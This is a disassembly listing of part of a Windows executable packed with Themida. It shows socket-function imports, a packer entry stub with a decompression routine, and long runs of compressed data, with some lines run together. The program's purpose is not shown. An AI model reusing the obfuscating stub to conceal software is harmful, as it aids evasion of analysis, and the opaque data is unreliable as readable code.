		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'оe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 0010A000 (1089536.)
; Section size in file		: 0010A000 (1089536.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 7489358Ch, 42C95h, 5F805h, 15A172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: Themida_:0051502Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: Themida_:00515072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: Themida_:00515059j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: Themida_:0051506Bj
		mov	edi, eax


loc_515076:				; CODE XREF: Themida_:0051502Fj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: Themida_:0051501Cj
		mov	eax, offset loc_583441
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: Themida_:00515084j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: Themida_:00515092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------


loc_515265:				; CODE XREF: Themida_:loc_515076j
					; Themida_:005150B1j
		jmp	loc_583441
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: Themida_:0051508Bo
		dd 1563544h, 8478F3EBh,	52E0EA6Ah, 741C7365h, 41CE7261h
		dd 4F2E2F70h, 0FF239C78h, 4F038FCh, 98A2BB46h, 0FFFA102Eh
		dd 77540124h, 0F701A15Fh, 0C22145DCh, 35F95D37h, 0D7D70817h
		dd 65685480h, 7064696Dh, 54F78761h, 0D7DC959Dh,	0E10392E6h
		dd 11C8BB1Ah, 0F2FB42B8h, 6B843B22h, 0E17122BFh, 8A24BC0Bh
		dd 477EEC53h, 33CABF01h, 6B845B01h, 2E36F2EBh, 39FDAB10h
		dd 8B1CBF78h, 60D485C5h, 5D0A00E8h, 3553ED81h, 8907FA03h
		dd 82DB195h, 32C5B50Dh,	1DD58584h, 71BD8301h, 74000706h
		dd 0E4E88B0Ch, 69B850E2h, 708EF7C2h, 3E382444h,	6A812B45h
		dd 0C1A3E8D4h, 749A6829h, 0DFD2F383h, 4B250A80h, 0D5F40A89h
		dd 4814E988h, 0A0AF2402h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	eax, 0EED8C483h
		sbb	byte ptr [edx-7Fh], 0EAh
		inc	ecx
		or	byte ptr ss:[ebx+45C712DAh], 0D8h ; CODE XREF: Themida_:0051536Bj
		or	ss:[esi], cl
		xor	[eax-77h], eax
		or	[ecx-737F0683h], al
		sbb	eax, 8200F74h
		inc	byte ptr [ebx+3010AB49h]
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_515349+5
; ---------------------------------------------------------------------------
		db 0C6h, 36h, 0DCh
		dd 0C9E82661h, 4604C228h, 7CC4810Dh, 491C02FFh,	458D888Ah
		dd 5D8B8002h, 8885C708h, 8D945019h, 0C3D1010Ah,	89411888h
		dd 0BD810B51h, 5D050644h, 2728E375h, 64BA518Dh,	98075D8h
		dd 0F4BB0E8Ah, 0F0B85B27h, 0D3785437h, 0F61D07Eh, 0F7754B08h
		dd 29C3AFD8h, 234A4647h, 42F91546h, 8A61D115h, 0F03AD0D0h
		dd 45EEC5FEh, 0EB4D05FCh, 46AD1E04h, 403E8046h,	84BAF729h
		dd 7D3034B7h, 0C87FEB0Ch, 6D66F83Eh, 65F04212h,	1040F40Eh
		dd 0F065C14Ah, 0F8D6A004h, 3E01CD1h, 3328B0C2h,	1C0E8ADBh
		dd 66FB8030h, 1E0A0A72h, 9F057739h, 223379EBh, 0DFB6114h
		dd 0B7660A3Fh, 0A7AF1E08h, 10560AC3h, 7241181Ah, 77460A0Bh
		dd 5124066Fh, 0F05D010Ch, 8339F4ECh, 72028D7Dh,	0C09B0CB0h
		dd 0AAB3A576h, 0E7F82620h, 0B58D03h, 0FC553BA8h, 7854820Fh
		dd 0AAE0B0BDh, 0BA2838DFh, 0B9700870h, 0BDFC7054h, 737D020h
		dd 49470FFEh, 22B97375h, 0BBB86A8Bh, 120E5101h,	0DBEB82F1h
		dd 868EB002h, 0FB391FC4h, 1B65D608h, 72FF1DECh,	785268Ah
		dd 590500E9h, 0B4D9B810h, 8252CF00h, 25721CDCh,	5C7741h
		dd 8ED396D4h, 6BC32C2Dh, 0E956010Ch, 39213D04h,	8A01C45Eh
		dd 8205256Dh, 17089845h, 0C564621h, 6EEE51C4h, 0DEC0F17Ch
		dd 8CDBC010h, 13470CBh,	4E398267h, 830F765Bh, 43D518Ch
		dd 0B33BE3D1h, 754A0E46h, 11AC2E09h, 0EC05480Eh, 69065E4h
		dd 0C5846400h, 54968E05h, 8F5381D7h, 29C2040Ah,	0C0718C8Ch
		dd 0A60EDBE7h, 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h
		dd 3FBC9020h, 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh
		dd 45CF4090h, 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h
		dd 845AABCDh, 0A6561308h, 825E0AE7h, 0A881E2EEh, 8AA04408h
		dd 13A2B9FAh, 28972305h, 8C521043h, 0DFD740F2h,	6712D9F0h
		dd 208DA8Dh, 0C459C351h, 18458A91h, 5141881Ch, 8753C400h
		dd 5E9C2ED9h, 9D3B50A0h, 5ADF06CCh, 2D188F10h, 0B13EA30h
		dd 7883F2h, 498A6C87h, 3CC2722h, 2D910C01h, 0C4F31FE6h
		dd 0D18044B9h, 5E281D5h, 90331061h, 0BAF64302h,	0B863A084h
		dd 0E70B62CAh, 0C75086F0h, 63BC6719h, 0EED1C814h, 6954434h
		dd 0A6FA8B21h, 0C87CD803h, 5344EA0Dh, 1EA2841Bh, 31AA30h
		dd 392ADF88h, 14DC94B9h, 0A821014h, 29902852h, 0DA8C6714h
		dd 3229F4Bh, 39F08161h,	0A6F98A62h, 921EB209h, 0C45F3057h
		dd 75468AE4h, 47001622h, 2E78C457h, 315BC881h, 9650FE8Bh
		dd 7E90121h, 40502B80h,	914C9C54h, 45EA5B28h, 0EFEE0400h
		dd 9070973Ah, 0B5C31482h, 0CC1E5E6Bh, 111B9BBCh, 0EB36F8F9h
		dd 59FA3380h, 4715EA30h, 917A7B5h, 0E25C29F9h, 223BDC80h
		dd 610044E1h, 0F3CD6A43h, 90829C7Ah, 5C340757h,	73D4BA6Dh
		dd 0F1D85972h, 0DD739F3Dh, 5514EA30h, 76608ECh,	5370C497h
		dd 46D6C1C9h, 7AD73030h, 60CEEF0Ch, 7BC55276h, 60EAEEAAh
		dd 272C3D12h, 0ACF61CAEh, 8961CA00h, 8E203E77h,	5F18006Eh
		dd 390512Ch, 509EB84h, 0F4C6053h, 5D4A5628h, 5E806E61h
		dd 980E117Ch, 3DDE0010h, 914E71DFh, 7EE8381Fh, 0A8C25E00h
		dd 62C48C2Eh, 72920359h, 0CB953E31h, 83A7BCEBh,	87CAA4Ah
		dd 1F066000h, 0CA34625Ch, 0BC8B00A7h, 0CF2532E1h, 0FB003664h
		dd 0DEAA5550h, 169BF0Eh, 8C6A9BBBh, 80676EFEh, 82339459h
		dd 0DD4942h, 29AE073Bh,	5CEDC29Fh, 0EBAD9A01h, 7CC8D7A5h
		dd 0F1337F0h, 8D481E27h, 0C7A38C9Fh, 0DA300418h, 17AE5071h
		dd 689A6C16h, 8E0FB194h, 0C663338Ah, 2088BD3Bh,	0CF08AD79h
		dd 81706F13h, 0E058B792h, 850821F0h, 0CC352838h, 68F58043h
		dd 1F9A6ABh, 6152F6DEh,	48A349B5h, 21C02490h, 0C6E8051Fh
		dd 643F008Bh, 313DC859h, 0BA0CA9B5h, 292ACBB1h,	0C2CE00BFh
		dd 2588D0Ch, 0B5001A6Eh, 97B9324Ch, 0C383B34Ah,	0B6A569E8h
		dd 13B5790Ch, 1527174h,	8DD141D2h, 808F5789h, 81BD42A9h
		dd 0ECD814h, 339EA670h,	8BEB032Ah, 60F580A0h, 0B819F900h
		dd 0C8E9C6FDh, 0DFF202C1h, 88F0EF0Eh, 0B24A8C83h, 0CDD7101h
		dd 1F1868C6h, 97E477E5h, 0E6BF072Dh, 20AC4FF5h,	0F690BCF0h
		dd 0A5007EE2h, 0AA521DCEh, 808E472Bh, 0F8005003h, 0D25C872Fh
		dd 1D974FC1h, 30DB0B8Ah, 8CFE9420h, 0A6B09A50h,	0F6F04044h
		dd 8DFC054Fh, 204A53CCh, 6B33D580h, 12E13007h, 5B71E940h
		dd 94512804h, 414BCAAh,	58F43A0h, 945D3A07h, 7B3B3783h
		dd 0D18287Dh, 3431C0B2h, 9AEBC35Dh, 87ED223Ch, 2B330E90h
		dd 55B74B10h, 8A8CA09Dh, 0DD45F023h, 2FCCCAB8h,	73CF80E4h
		dd 7982296Dh, 9AEC75FAh, 0F5CB148h, 0A17BECFFh,	14E7C8EEh
		dd 0F0613180h, 8F286405h, 859FB31h, 0EC51666Eh,	8B30A557h
		dd 0CB679FDh, 7F8545D7h, 2090AA28h, 8EDEF8EDh, 0A85A1724h
		dd 924454A8h, 0EBB80AEFh, 9D2F369h, 9008AD6Bh, 1EE70888h
		dd 0F9B430BBh, 11119C9h, 0F5049DB7h, 0CB050B35h, 74FA4AB8h
		dd 52ADC8C0h, 0C0CB5739h, 43BC6361h, 1002155h, 5394DA42h
		dd 58B5D1h, 78395FDCh, 0C919D259h, 0F12EF530h, 501B3BAAh
		dd 0CF79C6Dh, 0B98FA68Ah, 47104598h, 0F5387AB2h, 98DBFE94h
		dd 0A2223E04h, 96C482F0h, 0A6728CA0h, 3960B80Bh, 5ED19848h
		dd 32EF813h, 0ED40968Dh, 4FC938D7h, 0EE50802Fh,	3C91CAF0h
		dd 9CB0330h, 67FE8361h,	0ECE43580h, 42647C00h, 3969AAE1h
		dd 0F13E1E87h, 8307C191h, 0F4A74BFFh, 0E0074C58h, 0E2EFB6FEh
		dd 0DB86DCA0h, 2CB778C3h, 37723Eh, 1F743F2h, 0CB3EE878h
		dd 91E900ACh, 6BBE6284h, 3FE5009Dh, 0F1B4496Fh,	5000C5FEh
		dd 3CFBFFACh, 7DC8CAE1h, 927C0258h, 0C2F3AF79h,	25578C83h
		dd 0F84531C0h, 1B9DEA09h, 4B80A3B7h, 6902F423h,	0E4A03FA7h
		dd 65EF4946h, 1208AB48h, 54213382h, 0A0516B6Eh,	0A8F892BBh
		dd 0C4D63EF5h, 4650E381h, 24DDEF91h, 990A3570h,	0B827CC9Fh
		dd 3707C182h, 4ED8E081h, 91DE002Ch, 2778B2B9h, 3E2420C3h
		dd 251184DCh, 0F5D2DE00h, 0C3C05B9Eh, 0CBC7F00h, 0FF1974B0h
		dd 2428E275h, 82249033h, 0A12DB70Eh, 273BD468h,	0C8B06962h
		dd 0FC288AEFh, 1297CF60h, 85BE0C9Eh, 1F0ED1E5h,	20841950h
		dd 0A3133504h, 0BC8164E6h, 0E0322D7Ah, 808FBE10h, 9ECDD6F1h
		dd 2CAA4954h, 43331974h, 713F78A2h, 34C8CE37h, 0B7180F12h
		dd 83A0A565h, 1F4B0C77h, 3710B31Eh, 0ECF5FF02h,	40E807FDh
		dd 0F0C8DF58h, 88B9D426h, 80794C37h, 0B807F5EDh, 85DF58C0h
		dd 2AC127E3h, 3F847368h, 0E1C04E17h, 0F5C56E0Ch, 53284911h
		dd 0E708983Ah, 35008F2Dh, 0B3A2866Eh, 20966032h, 2C034A3Fh
		dd 0E0E288A0h, 0F82014B0h, 20CB3030h, 14807351h, 65065400h
		dd 313796F1h, 81381C57h, 18F26F9h, 0AEBC577h, 8B308245h
		dd 8088DF33h, 90AE1490h, 91C76057h, 17895010h, 0CF355Ch
		dd 0B9C67D9Ah, 78AA68C0h, 0E1996C6Ch, 74882580h, 0A72E0026h
		dd 6AC0CD49h, 0D905AFBDh, 97060443h, 0E2177402h, 33A6009Bh
		dd 5CB2059Dh, 492BCA30h, 1F5422h, 265F9217h, 0EEA5FA60h
		dd 45D37A00h, 39DEC73h,	92B8A3BBh, 208640Fh, 0F34B3E72h
		dd 2C40F47Eh, 1754A66Bh, 58982CF8h, 0D12A44h, 63622510h
		dd 595BE6B5h, 3005DF2Ch, 5718AE11h, 8DCEB1C9h, 0AC153400h
		dd 5F5E13A8h, 0C2CF05Bh, 3E1DE70Fh, 0B10AAC8h, 0C8083393h
		dd 288A24E6h, 1761F037h
		dd 4A01B6AEh, 506980AFh, 0AC77562Bh, 47ED1D15h,	3CE0069h
		dd 31428611h, 44902940h, 2B77237Fh, 32BF4A80h, 0D118854Ch
		dd 1EEA7CC3h, 33D37F00h, 2A7E213h, 967395E9h, 0C868AE97h
		dd 0AC0C5386h, 489B6F2Bh, 77EB0F5Dh, 578E8DAAh,	3CB1CA2Ch
		dd 898BC913h, 4501100h,	0BAD65F8h, 0B4A25481h, 43F0C413h
		dd 0ED808AD3h, 0D6BB24FDh, 12B70398h, 19112607h, 57189EA5h
		dd 453661C4h, 1FE40901h, 1D904C3Dh, 1F599D8h, 0F0960750h
		dd 73F933B7h, 0ECEF00C8h, 0DB4CDFE7h, 70313A9h,	0B380448Ch
		dd 0A6730130h, 8184E867h, 52C285Ah, 90048F44h, 0C40116EFh
		dd 294BB532h, 448B240Ch, 30CCCD3Ch, 45A2A104h, 0F279C0F3h
		dd 0BE9FBB09h, 6EF69E1Dh, 8122A38Fh, 6C6DDED0h,	0C7BC499Ch
		dd 90B7EAB3h, 578D9740h, 3A382494h, 3A5100D8h, 0AB54A538h
		dd 129B7E72h, 230EB5E8h, 80887FA4h, 9867E38Dh, 4921F278h
		dd 51C06948h, 0EC770AF3h, 1812B5h, 0C5702C7Ah, 0E8920FEFh
		dd 1337D216h, 53E82518h, 8064916Ch, 0D30A9BF4h,	45010C5Ch
		dd 0CB3D781Ch, 844911B5h, 50F76860h, 6FC8496h, 0C3ADEAF5h
		dd 0F11B10CBh, 0C0296D6Eh, 0F82408Fh, 1E38C639h, 0F6E62C00h
		dd 0A0CFDC6Ch, 7490782Eh, 0CC9B30AEh, 0BEEB7540h, 68B5A52Eh
		dd 8C613492h, 1006B9C2h, 8A1F9608h, 244449B6h, 7E64EB00h
		dd 0FC87D14Fh, 0C7320061h, 3171F3BBh, 31C147B5h, 40B26995h
		dd 209BE428h, 261F4CA0h, 3B0984Dh, 52EF4ADFh, 36912188h
		dd 9E1910BEh, 0DF106C58h, 0F2C8138Eh, 0BF28B421h, 6E299872h
		dd 0CC1F00A0h, 0A5FF230Ch, 38E43B12h, 3F9148D1h, 87EF2841h
		dd 809E6D01h, 7C626139h, 462A2Fh, 6038156Bh, 0B1C4731Fh
		dd 0D88EB900h, 0ED64117Bh, 16DC0757h, 4FBE05D5h, 90D41BE6h
		dd 3B23AC0Ch, 20575886h, 0EB171C29h, 2C4047ADh,	9DEDC939h
		dd 0BFC8A85Fh, 0FB440056h, 0F852BCA2h, 8B00510Fh, 0E34CDC59h
		dd 3A6BFD1h, 0E903183Eh, 0F90023C9h, 1568D985h,	33077EAh
		dd 0BBED21E3h, 67902ABFh, 900049A9h, 6DDAF317h,	0E83B18Bh
		dd 78B316E6h, 0CF8CC020h, 3001C306h, 17B4B5AAh,	8C409F2Ah
		dd 989C55B2h, 9E34A1CBh, 0E438F610h, 0E6560F00h, 8A685BCBh
		dd 10E80EF3h, 2602B87Ch, 8481B796h, 70365C3Eh, 13345F8Fh
		dd 0D40441C8h, 4C49BA3Bh, 4B33404h, 1090974Ah, 0B46B6B4h
		dd 0CAF7025h, 0D17A4603h, 0CF3B2FA0h, 0C6B0D2Eh, 399CD20Ch
		dd 0EE9840E6h, 0D02AFC00h, 4755BBA3h, 0D3A03F2Dh, 1D057980h
		dd 38C6580h, 641C04A7h,	0E7071C60h, 6D72C03Ah, 18F6CBE3h
		dd 0FD4B5606h, 6197B1Fh, 0B704148Ch, 270F404Eh,	0E17DAC0Bh
		dd 6867DD89h, 82BC598Bh, 0E5539B00h, 0D1F9A40Ch, 67A8F448h
		dd 65D84713h, 38814B0Ch, 0C2E08Eh, 5E87FF95h, 4BFED01Ch
		dd 3010A1F7h, 4E9AE780h, 3CE30780h, 3B07E637h, 73791721h
		dd 0A00150EBh, 9A59CBDFh, 0D4F14B55h, 0A226D647h, 68E20010h
		dd 0B9C76184h, 0B300C937h, 0ACE4F408h, 61CBE8B8h, 797F29F2h
		dd 24C8808Bh, 0EBD0472Ch, 0E1E70387h, 0E89D5164h, 2A03293Dh
		dd 0E5048C7Eh, 51653360h, 83D7041Dh, 3E90028Dh,	2A08A264h
		dd 0ACB8A891h, 0A863FF50h, 0A9D22A0h, 8DF2388Eh, 0D12A0384h
		dd 792EEACBh, 0C6068884h, 3C21F636h, 7A2A6165h,	433D05E8h
		dd 0EC33CDh, 78B28A18h,	89005ABBh, 5160F4C8h, 0C606FF13h
		dd 0B987CD71h, 797483F0h, 0BD8E9C03h, 0C0908808h, 0FAEDC7ECh
		dd 49863C5Dh, 9D54B906h, 0DB0661E4h, 7FEB0729h,	92B6C40h
		dd 0A4A0E550h, 41CF91D0h, 0C3CA068Ah, 0A8DB5458h, 977815B7h
		dd 5C438486h, 2B4CC0Ch,	302AA498h, 0E0079026h, 0A3ED7791h
		dd 0A7ECCF40h, 0C9BE0060h, 0D1CA6601h, 1830A680h, 4A49D147h
		dd 4C0B3014h, 0A78DD111h, 90595D03h, 3101EDE2h,	0E8104E18h
		dd 0E684508Ah, 1239BE1Ah, 0EAFD121Eh, 4BB20842h, 2328B447h
		dd 16E14945h, 588A6940h, 809467FFh, 8A0D59EBh, 433A60D3h
		dd 0C6640A7Bh, 280A47Eh, 4A17CA16h, 404C5318h, 932594C7h
		dd 39007DC7h, 9053B151h, 0DE33E82h, 4E21C149h, 2179FD91h
		dd 7C036018h, 3C2B31DEh, 54E39058h, 1845A4F1h, 0D9623687h
		dd 0BD490B0Eh, 0B2344208h, 9A801727h, 0FAB1728Eh, 3E1E06F5h
		dd 0D0795106h, 0C33B0A00h, 0A77DD163h, 323024E8h, 0BC754FACh
		dd 14D838B7h, 786260CEh, 0E07FC551h, 89120890h,	50462DE2h
		dd 18E9498Fh, 610EFA14h, 0A9C899A4h, 773D42FBh,	0E541C707h
		dd 8C48CC64h, 4E2300FDh, 457D04DDh, 880473F2h, 5E1C3071h
		dd 40052CC2h, 242B670h,	89480423h, 0E8A15CE9h, 207D57CDh
		dd 20A6DB37h, 63303E50h, 2450F64Dh, 0EB989CB1h,	7D439B08h
		dd 413BF80Eh, 56104147h, 4A388082h, 0AB70AEDCh,	0D37025Ch
		dd 0B20E189Ah, 0B56815C0h, 0F2C4C200h, 0AE63ECAAh, 0FD2B81Ah
		dd 37599438h, 0F1D63243h, 1C7481E0h, 8BE53B3Fh,	80224001h
		dd 0B8F2692Eh, 89E07Fh,	0F0865D6h, 863CC6E6h, 388440DDh
		dd 7A07F2DFh, 0A1DDB01Ch, 201E4010h, 2740FB3Fh,	0AAF785EDh
		dd 0B9192CA8h, 77DB018Ah, 0CC6D5894h, 0E800D338h, 67787CAEh
		dd 2C97DD8Dh, 48885210h, 0A87ED504h, 0F7585F8h,	0A1D78B6Ah
		dd 342140A0h, 270114F9h, 70BDBCC5h, 1C316AADh, 715AC6DCh
		dd 7F380086h, 0E0B6E435h, 40C0747Dh, 17D199E1h,	9102391Ch
		dd 85B22280h, 6F7B7E49h, 8323080Eh, 0E0352F9Bh,	0E48CEC32h
		dd 68AE40AAh, 9C40CFF6h, 27126h, 85B91867h, 66B181FBh
		dd 7800F6ECh, 0CD425AC4h, 7F8C901Fh, 80E000D5h,	0DB3577E6h
		dd 100257C6h, 67013920h, 973862F6h, 0A7805D94h,	0E8895978h
		dd 1C41FA9Bh, 431C0222h, 0DE85B818h, 91B7B90h, 9B4B48h
		dd 22904038h, 215BEDh, 7486E1E9h, 590D2E61h, 0B2120A00h
		dd 2362F96Bh, 0EED80E84h, 0B0E077D3h, 289EDEE1h, 2E06BA90h
		dd 0B71D5EFAh, 67720840h, 6C000783h, 1C1840B2h,	0BE84001Ah
		dd 696FA9F2h, 0B8000BBCh, 5A8674BDh, 0E8B8138h,	6CDAE8E0h
		dd 0DE3767C0h, 0E000358h, 1618411Fh, 0B379761Ah, 0D5F8558Ch
		dd 0AB85004Dh, 0C6E4891Ah, 22006B01h, 0B619032Eh, 0A28776h
		dd 436C7570h, 79C0E71Ch, 3A8D9400h, 0E5DF302Ah,	0ABAA03AEh
		dd 0A44C2E63h, 321D12F0h, 0F6019300h, 48F9C4EFh, 76B1DA6h
